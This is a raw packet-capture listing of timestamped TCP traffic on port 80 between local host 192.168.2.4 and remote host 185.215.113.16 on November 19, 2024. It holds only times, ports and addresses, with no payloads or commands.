Nov 19, 2024 19:14:18.184145927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184159040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184170961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184180021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184194088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184201002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184211016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184211016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184273005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184454918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184459925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184478998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184494019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184505939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184519053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184530020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184542894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184554100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184568882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184581995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184600115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184633017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184633017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184633017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184633017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184932947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184946060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184964895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184974909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.184988022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.185039043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.219369888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219393969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219422102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219439030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219455004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219461918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.219472885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219491959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219538927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.219538927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.219540119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.219538927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220424891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220439911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220457077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220482111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220520020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220535994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220552921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220568895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220576048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220576048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220659971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220685959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220752001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220772028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220788956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220803976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220820904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220845938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220845938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220889091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.220910072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.220938921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.221009016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.221029997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227040052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227107048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227145910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227164984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227181911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227201939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227221012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227238894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.227339983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.227340937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.227340937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.227340937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.228641033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228683949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228699923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228707075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.228733063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228749990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.228750944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228805065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228820086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228869915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.228873014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228893042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.228904963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.228996038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.229454994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229490995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229506016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229547977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.229552984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229572058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229648113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229666948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229684114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229686975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.229695082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.229739904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.229856014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.267776966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.267860889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.267904997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.267963886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268001080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268037081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268073082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268102884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268105030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.268105030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.268105030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.268145084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.268465042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.268465042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.268923998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269076109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269134045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269150019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269166946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269184113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269242048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269278049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269313097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269367933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269403934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269440889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269512892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269551992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269570112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269579887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269579887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269579887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269579887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269579887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269630909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269701004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269731045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269767046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269802094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269835949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269931078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.269937992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269938946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.269968033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270010948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270018101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270031929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270067930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270102978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270142078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270159006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270159006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270159006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270159006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270215988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270250082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270286083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270319939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270355940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270483971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270519018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270555019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270566940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270566940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270566940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270566940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.270589113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270622969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270656109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270690918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270726919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270762920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.270966053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271003008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271012068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271012068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271012068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271012068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271012068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271039009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271074057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271107912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271142960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271192074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271226883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271260977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271296024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271332979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271332979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271333933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271333933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271364927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271399021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271447897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271486998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271502972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271539927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271575928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271611929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271625996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271625996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271625996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271625996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.271648884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271801949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271836996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271872997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271907091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271941900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.271977901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.272016048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.272032022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.272032976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.272032976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.272032976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.272046089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.272326946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.285690069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.298777103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.306133032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306195974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306251049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306288004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306324959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306402922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.306404114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.306413889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306449890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.306490898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307221889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307265043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307333946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307357073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307382107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307430029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307434082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307470083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307504892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307538986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307543039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307617903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307660103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307677031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307708025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307708025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307714939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307732105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307768106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307806015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.307873011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.307873011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.313863039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.313935995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.313967943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314022064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314023972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.314057112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314091921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314127922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314156055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.314173937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.314239025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.314239025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.315537930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315615892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315650940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315706968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315711021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.315742970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315769911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.315778017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315815926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315849066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.315934896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.315934896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.316293001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316349983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316401005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316448927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316502094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316538095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316541910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.316570997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316606998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.316786051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.316786051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.316786051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.349072933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.354625940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354669094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354727030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354777098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354809046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354844093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354876041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.354969978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355333090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355333090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355333090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355333090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355679989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355739117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355782032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355834007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355861902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355871916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355882883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355910063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.355917931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.355951071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356015921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356015921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356025934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356117964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356148958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356179953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356215000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356247902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356264114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356281996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356303930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356317997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356424093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356437922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356452942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356472015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356486082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356548071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356578112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356595039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356611967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356627941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356653929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356657982 CET	49738	80	192.168.2.4	185.215.113.16
